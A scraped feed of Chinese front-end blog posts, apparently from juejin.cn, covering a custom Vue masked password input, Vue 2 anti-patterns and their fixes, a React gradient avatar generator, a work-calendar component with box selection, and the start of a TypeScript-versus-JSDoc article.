所以,只能和input元素说再见了,自己手写一个吧:


输入框组件


再来一个子组件cursorBlink.vue


<template>
<div class="cursor-blink" @click.stop="isShow">
<span v-if="pwd.length>0" :style="options.show?'':'border:0;animation:none;'" class="blink">{{passwordShow}}span>
<span v-else style="color: #ddd" :style="options.show?'':'border:0;animation:none;'" class="blink_left">{{options.desc}}span>
div>
template>
<script>
export default {
props: {
pwd: {
type: String
},
options: {
type: Object
},
},
data(){
return {
passwordShow: '',
}
},
mounted() {
if(this.pwd.length > 0){
for (let i = 0; i < this.pwd.length; i++) {
this.passwordShow += '*' // 显示为掩码
}
}
},
watch: {
pwd(curVal, oldVal){
if (oldVal.length < curVal.length) {
// 输入密码时
this.passwordShow += '*'
} else if (oldVal.length > curVal.length) {
// 删除密码时
this.passwordShow = this.passwordShow.slice(0, this.passwordShow.length - 1)
}
}
},
methods: {
isShow(){
this.$emit('cursor')
}
},
}
script>
<style lang="scss" scoped>
.cursor-blink{
display: inline-block;
width: 500px;
height: 43px;
letter-spacing: 0px;
word-spacing: 0px;
padding: 2px 0px;
font-size: 28px;
overflow: hidden;
.blink,.blink_left{
display: inline;
margin: 0px;
}
.blink{ // 输入密码后
border-right: 2px solid #000;
animation: blink 1s infinite steps(1, start);
}
.blink_left{ // 输入密码前
border-left: 2px solid #000;
animation: blinkLeft 1s infinite steps(1, start);
}
}
@keyframes blink {
0%, 100% {
border-right: 2px solid #fff;
}
50% {
border-right: 2px solid #000;
}
}
@keyframes blinkLeft {
0%, 100% {
border-left: 2px solid #fff;
}
50% {
border-left: 2px solid #000;
}
}
style>

引入之后光荣的接替input的位置:


<CursorBlink :pwd='password' ref="setPwd" :options='option2' @cursor="onFocus"></CursorBlink>

数据方法说明:


option2: {
show: false, // 区分输入前输入后
desc: '请重复输入密码' // 相当于placeholder
},

onFocus() 相当于input标签的focus

这样一个完美的安全键盘就做好了。


我是摸鱼君,你的【三连】就是摸鱼君创作的最大动力,如果本篇文章有任何错误和建议,欢迎大家留言!


作者:摸鱼君111
来源:juejin.cn/post/7309158055018168346
收起阅读 »

前人在 vue 项目中的 “砍树型“ 写法,让后人乘不了凉!

web
前言 最近在协助小伙伴解决问题时,在项目中都会遇到一些 “砍树型” 的写法,这些写法容易让后续 简单 的需求变得 复杂,都说 "前人栽树后人乘凉",但项目中有些写法是真的让后人乘不了凉的,甚至还得被迫加入 “砍树队伍”。 本篇文章就列举一些,在 vue 项目中...
继续阅读 »

前言


最近在协助小伙伴解决问题时,在项目中都会遇到一些 “砍树型” 的写法,这些写法容易让后续 简单 的需求变得 复杂,都说 "前人栽树后人乘凉",但项目中有些写法是真的让后人乘不了凉的,甚至还得被迫加入 “砍树队伍”。


本篇文章就列举一些,在 vue 项目中的 “砍树型” 的写法,以及分析一下如何写才更合适 “栽树”,如果你有更好的方案,欢迎在评论区分享!!!


89DFA925.png


砍树 & 栽树


由于项目源码不便于直接展示,下面会使用同等的代码实例来替代。


其项目技术栈为:vue2 + vue-class-component + vue-property-decorator + typescript


滥用 watch


砍树型写法


@Watch('person', { deep: true })
doSomething(){}

@Watch('person.name', { deep: true })
doSomething(){}

@Watch('person.age', { deep: true })
doSomething(){}

@Watch('person.hobbies', { deep: true })
doSomething(){}

第一次看到这个写法我有点迷茫,但想了想好像也不难理解:



  • 首先 person.x 的部分监听 是为了处理针对不同属性值发生修改时要执行的特定逻辑

  • 而针对 person 的整体监听 是为了执行属于公共部分的逻辑


因此,上面的写法就只是相当于只是少写了几个 if 的条件分支罢了,更何况还都用了深度监听,而实际上这种 简化方式vue 内部会实例化出多个 Watcher 实例,如下:


image.png


image.png


image.png


栽树型写法


针对上述写法,如果说后续需要追加不同属性变更时的新逻辑,会有两种情况:



  • 看懂的人,会使用一样的 person.x 的部分监听 方式去添加新逻辑

    • 实际上一个 Watcher 就可以解决,没必要实例化多个 Watcher



  • 看不懂的人,可能会把新逻辑杂糅在 person 的整体监听 的公共逻辑中

    • 还得注意添加执行时机条件的判断,很容易出问题




总之,这两种情况都并不好,因此更推荐原本 if 的写法:


@Watch('person', { deep: true })
doSomething(newVal, oldVal){
doSomethingCommon() // 公共逻辑

if(newVal.name !== oldVal.name){
doSomethingName() // 逻辑抽离
}

if(newVal.age !== oldVal.age){
doSomethingAge() // 逻辑抽离
}

...
}

值得注意的是,当使用 watch 深度监听对象时,其中的 newValoldVal 的值会一致,因为此时它们指向的是 同一个对象,因此如果真的需要如上例的方式来使用,就需要提前将目标对象进行 深度克隆


因此,这两种写法到底哪种是 "栽树",哪种是 "砍树",需要见仁见智了!


946CB97F.gif


不合理使用 async/await


砍树型写法


记得当时有反馈前端视图更新太慢,因为后端通过日志查看接口响应速度还是很快的,于是查看前端代码时发现类似如下的使用:


 async mounted(){
await this.request1(); // 耗时接口
this.request2(); // request2 需要依赖 request1 的请求结果
this.request3(); // request3 不需要依赖任何的请求结果
this.request4(); // request4 不需要依赖任何请求结果
}

这种写法就导致了 request3request4 虽然不需要依赖前面异步请求结果,但是必须要等待耗时操作完成才能请求,而视图更新又必须等待接口调用完成。


上述写法可能在 开发 和 测试 环境没有太明显的影响,但是在 生产环境,这个影响就会被放大,因为不同环境数据量不同,所接口响应速度更不同,并且用户可能不会注意你的数据是否准备完成就进行相应操作,这个时候就有可能出现问题。


93DE32BE.gif


栽树型写法


为了更快的得到视图更新,针对以上写法可进行如下调整:



  • 将无关相互依赖的请求前置在 await 之前

    • 这种方式适合使用的场景就是 request1 本身还需要再其他地方单独调用,因此其内部不适合在存放额外的逻辑


     async mounted(){
    this.request3();
    this.request4();

    await this.request1(); // 耗时接口
    this.request2(); // request2 需要依赖 request1 的请求结果
    }


  • 将相互依赖的请求在统一在内部处理

    • 例如,将 request2 放置到 request1 的具体实现中,这种方式适用于 request1request2 间在任何情况下都有紧密联系的情况下,当然也可以在 request1 内通过 条件判断 决定是否要执行 request2


     async mounted(){
    this.request3();
    this.request4();
    this.request1(); // 耗时接口
    }

    async request1(){
    const res = await asyncReq();
    this.request2(res); // request2 需要依赖 request1 的请求结果
    }



同时还需要注意的是,虽然 request2 需要依赖 request1 的结果,但是对于视图更新来说,却没有必要等待 request2 请求完成后再去更新视图,也就是说,request1 请求结束后有需要更新视图的部分就可以先更新,这样视图更新时机就不会延后。


组件层层传参


砍树型写法


项目中有一个模版切换的功能,而这个模版功能封装成了一个组件,在外部看起来是 Grandpa 组件,实际上其内部包含了 Parents 组件,而最底层使用的是 Son 组件


// 顶层组件
<Grandpa :data="data" @customEvent="customEvent" />

// 中间层组件
<Parents :data="data" @customEvent="customEvent" />

// 底层组件
<Son :data="data" @customEvent="customEvent" />

由于底层的 Son 组件 需要使用到 props data自定义事件 customEvent,在代码中通过逐层传递的方式来实现,甚至在 Grandpa 组件Parents 组件 中都有对 props.datadeepClone 深克隆 且修改后在往下层传递。


缺点很明显了:



  • 重复定义 props

    • 需要分别在 Grandpa、Parents、Son 三个组件中定义相关的 propsevent



  • props 的修改来源不确定

    • 由于 Grandpa、Parents 组件都对 props.data 有修改,在出现问题需要排查时可能都要排查 Grandpa、Parents 组件




栽树型写法


上面的写法属实繁琐且不优雅,实际上可以通过 $attrs$listeners 来实现 属性和事件透传,如下:


// 顶层组件
<Grandpa :data="data" @customEvent="customEvent" />

// 中间层组件
<Parents v-bind="$attrs" v-on="$listeners" />

// 底层组件
<Son v-bind="$attrs" v-on="$listeners" />

而其中涉及到直接通过 deepClone 深克隆 的原因应该是为了便于 直接 增加/删除 props.data 中的属性,实际上应该在 props 提供层 提供修改的方法。


946B61BF.gif


没有必要的响应式数据


砍树型写法


很多时候在 Vue 中我们需要在

收起阅读 »

🌅 让你的用户头像更具艺术感,实现一个自动生成唯一渐变色的头像组件

web
前言 这一篇文章依然是组件实现系列,这次我们来实现一个基于用户昵称动态生成用户头像的组件。在很多中后台场景中,用户并不需要自己去上传头像,而是简单的展示一个基本的头像图片,但是这样就太没意思啦。这次头像组件的,预期是能够基于用户昵称字符串生成某种颜色,然后设置...
继续阅读 »

前言


这一篇文章依然是组件实现系列,这次我们来实现一个基于用户昵称动态生成用户头像的组件。在很多中后台场景中,用户并不需要自己去上传头像,而是简单的展示一个基本的头像图片,但是这样就太没意思啦。这次头像组件的,预期是能够基于用户昵称字符串生成某种颜色,然后设置为 渐变色背景 并添加一些额外的细节就能展示出一个相对好看的头像。


实现过程


Avatar 组件


首先我们封装一个 Avatar 组件,这里我引用了 ChakraUI 组件库:


const Avatar: React.FC<{ name: string } & AvatarProps> = ({
name,
...rest
}
) =>
{
return (
<Box w="12" h="12" p="0" {...rest}>
<ChakraAvatar {...getGradientStyle(name)} name={name} />
Box>

);
};

export default Avatar;

样式生成函数


这一步还是很简单的,在组件的 props 中我使用了一个 getGradientStyle(name) 函数用于获取头像组件的样式,下面我们来实现这个函数:


const getGradientStyle: (text: string) => AvatarProps = (text) => {
const color1 = getRandomColor(text, 1);
const color2 = getRandomColor(text, 0.7);

return {
backgroundImage: `linear-gradient(135deg, ${color1}, ${color2})`,
color: "white",
display: "flex",
justifyContent: "center",
alignItems: "center",
fontWeight: "bold",
borderRadius: "10px",
background: "transparent",
fontFamily: "Helvetica, Arial, sans-serif",
};
};

随机颜色函数


这个函数返回一个包含渐变和其他属性的样式对象,这里面还有一个核心的函数 getRandomColor,这个函数可以基于字符串生成颜色,并且可以自己传入透明度,下面说说这个函数是如何实现的:


function getRandomColor(str: string, alpha: number) {
let asciiSum = 0;
for (let i = 0; i < str.length; i++) {
asciiSum += str.charCodeAt(i);
}
const red = Math.abs(Math.sin(asciiSum) * 256).toFixed(0);
const green = Math.abs(Math.sin(asciiSum + 1) * 256).toFixed(0);
const blue = Math.abs(Math.sin(asciiSum + 2) * 256).toFixed(0);
return `rgba(${red}, ${green}, ${blue}, ${alpha})`;
}

解析一下 getRandomColor 函数的执行过程:



  1. 首先遍历字符串 str 中的每个字符,计算它们的 ASCII 码值之和 asciiSum

  2. 使用这个数字作为参数,通过 Math.sin 函数生成一个介于 -1 和 1 之间的正弦值。再通过 Math.sin

  3. 将这个正弦值乘以 256 并四舍五入,得到一个介于 0 和 255 之间的整数,作为 rgba 颜色值的红色、绿色、蓝色分量。

  4. 最后,将传入的透明度 alpha 与颜色值一起组成一个 rgba 颜色值字符串并返回。


实现的效果如下图:


image.png


字体阴影


基本的一个头像已经做好了,但是我们还需要补充一些细节。为了让字体在浅色背景下也可以看清楚,我们可以为字体加上一点字体阴影。


textShadow: "1px 1px 3px rgba(0, 0, 0, 0.2)"

添加前后的对比可以看下图,重点是像 "王" 字这种比较浅色的是不是一下就清晰多了。



添加前:
image.png


添加后:
image.png



背景纹理


现在的头像背景效果已经蛮不错了,但是只是一个渐变背景我还是觉得太单调了,如果里面能够增加一点纹理就好了。于是我又添加了一个水波纹的效果,实现的代码如下:


return {
backgroundImage: `linear-gradient(135deg, ${color1}, ${color2})`,
color: "white",
display: "flex",
justifyContent: "center",
alignItems: "center",
fontWeight: "bold",
borderRadius: "10px",
background: "transparent",
textShadow: "1px 1px 3px rgba(0, 0, 0, 0.2)",
fontFamily: "Helvetica, Arial, sans-serif",
position: "relative",
_before: {
content: `""`,
position: "absolute",
left: "0",
top: "0",
w: "full",
h: "full",
borderRadius: "10px",
backgroundColor: "white",
backgroundImage: `repeating-radial-gradient( circle at 0 0, transparent 0, #ffffff 9px ), repeating-linear-gradient( ${color2}, ${color1} )`,
zIndex: "-1",
},
};

在原有背景的基础上,我增加了 before 伪元素,将它的位置大小与背景重叠,然后通过 backgroundImage 设置了背景的纹理:


backgroundImage: \`repeating-radial-gradient( circle at 0 0, transparent 0, #ffffff 9px ), repeating-linear-gradient( ${color2}, ${color1} )

再通过将原本的背景色设置为 transparent 透明,将 before 的层级设置为 -1,将背后的纹理给透出去,实现的效果如下图:


image.png


好不好看这点仁者见仁,但是我觉得是精致了一点的。before 中的纹理是这样的:


image.png


是不是有点像阿尔卑斯糖呢 🍭。这个效果我是从一个背景生成网站中调整并生成的,网站地址在这:http://www.magicpattern.design/tools/css-b… ,这个网站提供了很多好看的背景纹理,可以在线调整颜色和间距,预览效果,还能直接复制 CSS 到代码里使用。


image.png


最后再放一下 26 个字母生成的头像效果,不同字母生成的颜色差别还是相对比较大的。我觉着效果都还不错,即便是不太好看的颜色在背景纹理和渐变的加成下也还凑合能看:


image.png


性能优化


最后我们看回前面生成颜色的函数,在代码里有这么一段用于生成两个渐变色的逻辑:


const color1 = getRandomColor(text, 1);
const color2 = getRandomColor(text, 0.7);

但是这里我们仅仅是改变了透明度,颜色其实是不变的,那么去计算两次颜色就没有必要了,我们可以先获取颜色,然后再改透明度,避免重复计算颜色。修改的方式有很多种,如果是你,你会怎么改呢?我的调整方式是这样的:


function getRandomColor(str: string) {
let asciiSum = 0;
for (let i = 0; i < str.length; i++) {
asciiSum += str.charCodeAt(i);
}

const red = Math.abs(Math.sin(asciiSum) * 256).toFixed(0);
const green = Math.abs(Math.sin(asciiSum + 1) * 256).toFixed(0);
const blue = Math.abs(Math.sin(asciiSum + 2) * 256).toFixed(0);
return (alpha: number) => `rgba(${red}, ${green}, ${blue}, ${alpha})`;
}

const color = getRandomColor(text);
const color1 = color(1);
const color2 = color(0.7);

这里我将函数进行柯里化,将一个多参数的函数转换为一系列单参数的函数,每个函数接受一个参数并返回一个函数,最终返回值由最后一个函数计算得出。


我们可以通过对 getRandomColor() 函数进行一次调用来获取一个特定字符串对应的颜色生成函数,然后多次调用该生成函数并传入不同的透明度参数来生成不同的颜色。这是柯里化的一个常见应用场景。


最终完整代码如下:


import { Avatar as ChakraAvatar, AvatarProps } from "@chakra-ui/react";

function getRandomColor(str: string) {
let asciiSum = 0;
for (let i = 0; i < str.length; i++) {
asciiSum += str.charCodeAt(i);
}

const red = Math.abs(Math.sin(asciiSum) * 256).toFixed(0);
const green = Math.abs(Math.sin(asciiSum + 1) * 256).toFixed(0);
const blue = Math.abs(Math.sin(asciiSum + 2) * 256).toFixed(0);
return (alpha: number) => `rgba(${red}, ${green}, ${blue}, ${alpha})`;
}

const getGradientStyle: (text: string) => AvatarProps = (text) => {
const color = getRandomColor(text);
const color1 = color(1);
const color2 = color(0.7);

return {
backgroundImage: `linear-gradient(135deg, ${color1}, ${color2})`,
color: "white",
display: "flex",
justifyContent: "center",
alignItems: "center",
fontWeight: "bold",
borderRadius: "10px",
background: "transparent",
textShadow: "1px 1px 3px rgba(0, 0, 0, 0.2)",
fontFamily: "Helvetica, Arial, sans-serif",
position: "relative",
_before: {
content: `""`,
position: "absolute",
left: "0",
top: "0",
w: "full",
h: "full",
borderRadius: "10px",
backgroundColor: "white",
backgroundImage: `repeating-radial-gradient( circle at 0 0, transparent 0, #ffffff 9px ), repeating-linear-gradient( ${color2}, ${color1} )`,
zIndex: "-1",
},
};
};

const Avatar: React.FC<{ name: string } & AvatarProps> = ({
name,
...rest
}
) =>
{
return <ChakraAvatar {...getGradientStyle(name)} {...rest} name={name} />;
};

export default Avatar;


总结


后面我想着可以再将 纹理的类型和方向 也基于传入的字符串去定制,这样就能实现随机度更高的定制头像了,如果未来有了更好的效果我再单独写篇文章分享!


后续这类组件封装的文章可能会出一个系列,也准备把这些组件都开源了,如果有使用或打算使用 ChakraUI 进行项目搭建的同学欢迎插眼关注。如果文章对你有帮助除了收藏之余可以点个赞 👍,respect



作者:oil欧哟
来源:juejin.cn/post/7218506966545170493
收起阅读 »

封装一个工作日历组件,顺便复习一下Date常用方法

web
背景 上周接到一个需求,开发一个工作日历组件。找了一圈没找到合适的,索性自己写一个。 下面给大家分享一下组件中使用到的一些日期API和后面实现的框选元素功能。 效果展示 demo体验地址:dbfu.github.io/work-calend… 开始之前 lu...
继续阅读 »

背景


上周接到一个需求,开发一个工作日历组件。找了一圈没找到合适的,索性自己写一个。


下面给大家分享一下组件中使用到的一些日期API和后面实现的框选元素功能。


效果展示


Kapture 2023-12-05 at 13.02.36.gif


demo体验地址:dbfu.github.io/work-calend…


开始之前


lunar-typescript


介绍组件之前先给大家介绍一个库lunar-typescript


lunar是一个支持阳历、阴历、佛历和道历的日历工具库,它开源免费,有多种开发语言的版本,不依赖第三方,支持阳历、阴历、佛历、道历、儒略日的相互转换,还支持星座、干支、生肖、节气、节日、彭祖百忌、每日宜忌、吉神宜趋、凶煞宜忌、吉神方位、冲煞、纳音、星宿、八字、五行、十神、建除十二值星、青龙名堂等十二神、黄道日及吉凶等。仅供参考,切勿迷信。


这个库封装了很多常用的api,并且使用起来也比较简单。


本文用到了上面库的获取农历和节气方法。


复习Date Api


new Date


可以使用new Date()传年月日三个参数来构造日期,这里注意一下月是从零开始的。


image.png


获取星期几


可以使用getDay方法获取,注意一下,获取的值是从0开始的,0表示星期日。


image.png


获取上个月最后一天


基于上面api,如果第三个参数传0,就表示上个月最后一天,-1,是上个月倒数第二天,以此类推。(PS:这个方法还是我有次面试,面试官告诉我的。)


image.png


获取某个月有多少天


想获取某个月有多少天,只需要获取当月最后天的日期,而当月最后一天,可以用上面new Date第三个参数传零的方式获取。


假设我想获取2023年12月有多少天,按照下面方式就可以获取到。


image.png


日期加减


假设我现在想实现在某个日期上加一天,可以像下面这样实现。


image.png


这样实现有个不好的地方,改变了原来的date,如果不想改变date,可以这样做。


image.png


比较两个日期


在写这个例子的时候,我发现一个很神奇的事情,先看例子。


image.png


大于等于结果是true,小于等于结果也是true,正常来说肯定是等于的,但是等于返回的是false,是不是很神奇。


其实原理很简单,用等于号去比较的时候,会直接比较两个对象的引用,因为是分别new的,所以两个引用肯定不相等,返回false。


用大于等于去比较的时候,会默认使用date的valueOf方法返回值去比较,而valueOf返回值也就是时间戳,他们时间戳是一样的,所以返回true。


说到这里,给大家分享一个经典面试题。


console.log(a == 1 && a == 2 && a == 3),希望打印出true


原理和上面类似,感兴趣的可以挑战一下。


这里推荐大家比较两个日期使用getTime方法获取时间戳,然后再去比较。


image.png


实战


数据结构


开发之前先把数据结构定一下,一个正确的数据结构会让程序开发变得简单。


根据上面效果图,可以把数据结构定义成这样:



/**
* 日期信息
*/

export interface DateInfo {
/**
* 年
*/

year: number;
/**
* 月
*/

month: number;
/**
* 日
*/

day: number;
/**
* 日期
*/

date: Date;
/**
* 农历日
*/

cnDay: string;
/**
* 农历月
*/

cnMonth: string;
/**
* 农历年
*/

cnYear: string;
/**
* 节气
*/

jieQi: string;
/**
* 是否当前月
*/

isCurMonth?: boolean;
/**
* 星期几
*/

week: number;
/**
* 节日名称
*/

festivalName: string;
}

/**
* 月份的所有周
*/

export interface MonthWeek {
/**
* 月
*/

month: number;
/**
* 按周分组的日期,7天一组
*/

weeks: DateInfo[][];
}

通过算法生成数据结构


现在数据结构定义好了,下面该通过算法生成上面数据结构了。


封装获取日期信息方法


/**
* 获取给定日期的信息。
* @param date - 要获取信息的日期。
* @param isCurMonth - 可选参数,指示日期是否在当前月份。
* @returns 包含有关日期的各种信息的对象。
*/

export const getDateInfo = (date: Date, isCurMonth?: boolean): DateInfo => {
// 从给定日期创建 农历 对象
const lunar = Lunar.fromDate(date);

// 获取 Lunar 对象中的农历日、月和年
const cnDay = lunar.getDayInChinese();
const cnMonth = lunar.getMonthInChinese();
const cnYear = lunar.getYearInChinese();

// 获取农历节日
const festivals = lunar.getFestivals();

// 获取 Lunar 对象中的节气
const jieQi = lunar.getJieQi();

// 从日期对象中获取年、月和日
const year = date.getFullYear();
const month = date.getMonth();
const day = date.getDate();

// 创建包含日期信息的对象
return {
year,
month,
day,
date,
cnDay,
cnMonth,
cnYear,
jieQi,
isCurMonth,
week: date.getDay(),
festivalName: festivals?.[0] || festivalMap[`${month + 1}-${day}`],
};
};

上面使用了lunar-typescript库,获取了一些农历信息,节气和农历节日。方法第二个参数isCurMonth是用来标记是否是当月的,因为很多月的第一周或最后一周都会补一些其他月日期。


把月日期按照每周7天格式化


思路是先获取给定月的第一天是星期几,如果前面有空白,用上个月日期填充,然后遍历当月日期,把当月日期填充到数组中,如果后面有空白,用下个月日期填充。


/**
* 返回给定年份和月份的周数组。
* 每个周是一个天数数组。
*
* @param year - 年份。
* @param month - 月份 (0-11)。
* @param weekStartDay - 一周的起始日 (0-6) (0: 星期天, 6: 星期六)。
* @returns 给定月份的周数组。
*/

const getMonthWeeks = (year: number, month: number, weekStartDay: number) => {
// 获取给定月份的第一天
const start = new Date(year, month, 1);

// 这里为了支持周一或周日在第一天的情况,封装了获取星期几的方法
const day = getDay(start, weekStartDay);

const days = [];

// 获取给定月份的前面的空白天数,假如某个月第一天是星期3,并且周日开始,那么这个月前面的空白天数就是3
// 如果是周一开始,那么这个月前面的空白天数就是2
// 用上个月日期替换空白天数
for (let i = 0; i < day; i += 1) {
days.push(getDateInfo(new Date(year, month, -day + i + 1)));
}

// 获取给定月份的天数
const monthDay = new Date(year, month + 1, 0).getDate();

// 把当月日期放入数组
for (let i = 1; i <= monthDay; i += 1) {
days.push(getDateInfo(new Date(year, month, i), true));
}

// 获取给定月份的最后一天
const endDate = new Date(year, month + 1, 0);
// 获取最后一天是星期几
const endDay = getDay(endDate, weekStartDay);

// 和前面一样,如果有空白位置就用下个月日期补充上
for (let i = endDay; i <= 5; i += 1) {
days.push(getDateInfo(new Date(year, month + 1, i - endDay + 1)));
}

// 按周排列
const weeks: DateInfo[][] = [];
for (let i = 0; i < days.length; i += 1) {
if (i % 7 === 0) {
weeks.push(days.slice(i, i + 7));
}
}

// 默认每个月都有6个周,如果没有的话就用下个月日期补充。
while (weeks.length < 6) {
const endDate = weeks[weeks.length - 1][6];
weeks.push(
Array.from({length: 7}).map((_, i) => {
const newDate = new Date(endDate.date);
newDate.setDate(newDate.getDate() + i + 1)
return getDateInfo(newDate);
})
);
}
return weeks;
};

getDay方法实现


function getDay(date: Date, weekStartDay: number) {
// 获取给定日期是星期几
const day = date.getDay();
// 根据给定的周开始日,计算出星期几在第一天的偏移量
if (weekStartDay === 1) {
if (day === 0) {
return 6;
} else {
return day - 1;
}
}
return day;
}

获取一年的月周数据


/**
* 获取年份的所有周,按月排列
* @param year 年
* @param weekStartDay 周开始日 0为周日 1为周一
* @returns
*/

export const getYearWeeks = (year: number, weekStartDay = 0): MonthWeek[] => {
const weeks = [];
for (let i = 0; i <= 11; i += 1) {
weeks.push({month: i, weeks: getMonthWeeks(year, i, weekStartDay)});
}
return weeks;
};

页面


页面布局使用了grid和table,使用grid布局让一行显示4个,并且会自动换行。日期显示使用了table布局。


如果想学习grid布局,推荐这篇文章


工作日历日期分为三种类型,工作日、休息日、节假日。在渲染单元格根据不同的日期类型,渲染不同背景颜色用于区分。


image.png


image.png


image.png


维护日期类型


背景


虽然节假日信息可以从网上公共api获取到,但是我们的业务希望可以自己调整日期类型,这个简单给单元格加一个点击事件,点击后弹出一个框去维护当前日期类型,但是业务希望能支持框选多个日期,然后一起调整,这个就稍微麻烦一点,下面给大家分享一下我的做法。


实现思路


实现框选框


定义一个fixed布局的div,设置背景色和边框颜色,背景色稍微有点透明。监听全局点击事件,记录初始位置,然后监听鼠标移动事件,拿当前位置减去初始位置就是宽度和高度了,初始位置就是div的left和top。


获取框选框内符合条件的dom元素


当框选框位置改变的时候,获取所有符合条件的dom元素,然后通过坐标位置判断dom元素是否和框选框相交,如果相交,说明被框选了,把当前dom返回出去。


判断两个矩形是否相交


interface Rect {
x: number;
y: number;
width: number;
height: number;
}

export function isRectangleIntersect(rect1: Rect, rect2: Rect) {
// 获取矩形1的左上角和右下角坐标
const x1 = rect1.x;
const y1 = rect1.y;
const x2 = rect1.x + rect1.width;
const y2 = rect1.y + rect1.height;

// 获取矩形2的左上角和右下角坐标
const x3 = rect2.x;
const y3 = rect2.y;
const x4 = rect2.x + rect2.width;
const y4 = rect2.y + rect2.height;

// 如果 `rect1` 的左上角在 `rect2` 的右下方(即 `x1 < x4` 和 `y1 < y4`),并且 `rect1` 的右下角在 `rect2` 的左上方(即 `x2 > x3` 和 `y2 > y3`),那么这意味着两个矩形相交,函数返回 `true`。
// 否则,函数返回 `false`,表示两个矩形不相交。
if (x1 < x4 && x2 > x3 && y1 < y4 && y2 > y3) {
return true;
} else {
return false;
}
}

具体实现


框选框组件实现


import { useEffect, useRef, useState } from 'react';

import { createPortal } from 'react-dom';
import { isRectangleIntersect } from './utils';

interface Props {
selectors: string;
sourceClassName: string;
onSelectChange?: (selectDoms: Element[]) => void;
onSelectEnd?: () => void;
style?: React.CSSProperties,
}

function BoxSelect({
selectors,
sourceClassName,
onSelectChange,
style,
onSelectEnd,
}: Props
) {

const [position, setPosition] = useState({ top: 0, left: 0, width: 0, height: 0 });

const isPress = useRef(false);

const startPos = useRef<any>();

useEffect(() => {
// 滚动的时候,框选框位置不变,但是元素位置会变,所以需要重新计算
function scroll() {
if (!isPress.current) return;
setPosition(prev => ({ ...prev }));
}

// 鼠标按下,开始框选
function sourceMouseDown(e: any) {
isPress.current = true;
startPos.current = { top: e.clientY, left: e.clientX };
setPosition({ top: e.clientY, left: e.clientX, width: 1, height: 1 })
// 解决误选择文本情况
window.getSelection()?.removeAllRanges();
}
// 鼠标移动,移动框选
function mousemove(e: MouseEvent) {
if (!isPress.current) return;

let left = startPos.current.left;
let top = startPos.current.top;
const width = Math.abs(e.clientX - startPos.current.left);
const height = Math.abs(e.clientY - startPos.current.top);

// 当后面位置小于前面位置的时候,需要把框的坐标设置为后面的位置
if (e.clientX < startPos.current.left) {
left = e.clientX;
}

if (e.clientY < startPos.current.top) {
top = e.clientY;
}

setPosition({ top, left, width, height })
}

// 鼠标抬起
function mouseup() {

if(!isPress.current) return;

startPos.current = null;
isPress.current = false;
// 为了重新渲染一下
setPosition(prev => ({ ...prev }));

onSelectEnd && onSelectEnd();
}

const sourceDom = document.querySelector(`.${sourceClassName}`);

if (sourceDom) {
sourceDom.addEventListener('mousedown', sourceMouseDown);
}

document.addEventListener('scroll', scroll);
document.addEventListener('mousemove', mousemove);
document.addEventListener('mouseup', mouseup);

return () => {
document.removeEventListener('scroll', scroll);
document.removeEventListener('mousemove', mousemove);
document.removeEventListener('mouseup', mouseup);

if (sourceDom) {
sourceDom.removeEventListener('mousedown', sourceMouseDown);
}
}
}, [])

useEffect(() => {
const selectDoms: Element[] = [];
const boxes = document.querySelectorAll(selectors);
(boxes || []).forEach((box) => {
// 判断是否在框选区域
if (isRectangleIntersect({
x: position.left,
y: position.top,
width: position.width,
height: position.height,
},
box.getBoundingClientRect()
)) {
selectDoms.push(box);
}
});
onSelectChange && onSelectChange(selectDoms);
}, [position]);


return createPortal((
isPress.current && (
<div
className='fixed bg-[rgba(0,0,0,0.2)]'
style={{
border: '1px solid #666',
...style,
...position,
}}
/>
)
), document.body)
}


export default BoxSelect;

使用框选框组件,并在框选结束后,给框选日期设置类型


import { Modal, Radio } from 'antd';
import { useEffect, useMemo, useRef, useState } from 'react';
import BoxSelect from './box-select';
import WorkCalendar from './work-calendar';

import './App.css';

function App() {

const [selectDates, setSelectDates] = useState<string[]>([]);
const [open, setOpen] = useState(false);
const [dateType, setDateType] = useState<number | null>();
const [dates, setDates] = useState<any>({});

const selectDatesRef = useRef<string[]>([]);

const workDays = useMemo(() => {
return Object.keys(dates).filter(date => dates[date] === 1)
}, [dates])

const restDays = useMemo(() => {
return Object.keys(dates).filter(date => dates[date] === 2)
}, [dates]);

const holidayDays = useMemo(() => {
return Object.keys(dates).filter(date => dates[date] === 3)
}, [dates]);

useEffect(() => {
selectDatesRef.current = selectDates;
}, [selectDates]);

return (
<div>
<WorkCalendar
defaultWeekStartDay={0}
workDays={workDays}
holidayDays={holidayDays}
restDays={restDays}
selectDates={selectDates}
year={new Date().getFullYear()}
/>

<BoxSelect
// 可框选区域
sourceClassName='work-calendar'
// 可框选元素的dom选择器
selectors='td.date[data-date]'
// 框选元素改变时的回调可以拿到框选中元素
onSelectChange={(selectDoms) =>
{
// 内部给td元素上设置了data-date属性,这样就可以从dom元素上拿到日期
setSelectDates(selectDoms.map(dom => dom.getAttribute('data-date') as string))
}}
// 框选结束事件
onSelectEnd={() => {
// 如果有框选就弹出设置弹框
if (selectDatesRef.current.length) {
setOpen(true)
}
}}
/>
<Modal
title="设置日期类型"
open={open}
onCancel={() =>
{
setOpen(false);
setSelectDates([]);
setDateType(null);
}}
onOk={() => {
setOpen(false);
selectDatesRef.current.forEach(date => {
setDates((prev: any) => ({
...prev,
[date]: dateType,
}))
})
setSelectDates([]);
setDateType(null);
}}
>
<Radio.Gr0up
options={[
{ label: '工作日', value: 1 },
{ label: '休息日', value: 2 },
{ label: '节假日', value: 3 },
]}
value={dateType}
onChange={e =>
setDateType(e.target.value)}
/>
</Modal>
</div>

)
}

export default App


工作日历改造


给td的class里加了个date,并且给元素上加了个data-date属性


image.png


image.png


如果被框选,改变一下背景色


image.png


效果展示


Kapture 2023-12-05 at 13.02.36.gif


小结


本来想给mousemove加节流函数,防止触发太频繁影响性能,后面发现不加节流很流畅,加了节流后因为延迟,反而不流畅了,后面如果有性能问题,再优化吧。


最后


借助这次封装又复习了一下Date的一些常用方法,也学到了一些关于Date不常见但是很有用的方法。


demo体验地址:dbfu.github.io/work-calend…


demo仓库地址:github.com/dbfu/work-c…


作者:前端小付
来源:juejin.cn/post/7308948738659155983
收起阅读 »

不是Typescript用不起,而是JSDoc更有性价比?

web
1. TS不香了? 2023年,几条关于 Typescript 的新闻打破了沉寂,让没什么新活好整的前端开发圈子又热闹了一番。 先是 GitHub 的报告称:“TypeScript 取代 Java 成为第三受欢迎语言”。 在其当年度 Octoverse 开...
继续阅读 »

1. TS不香了?


2023年,几条关于 Typescript 的新闻打破了沉寂,让没什么新活好整的前端开发圈子又热闹了一番。


image.png


先是 GitHub 的报告称:“TypeScript 取代 Java 成为第三受欢迎语言”



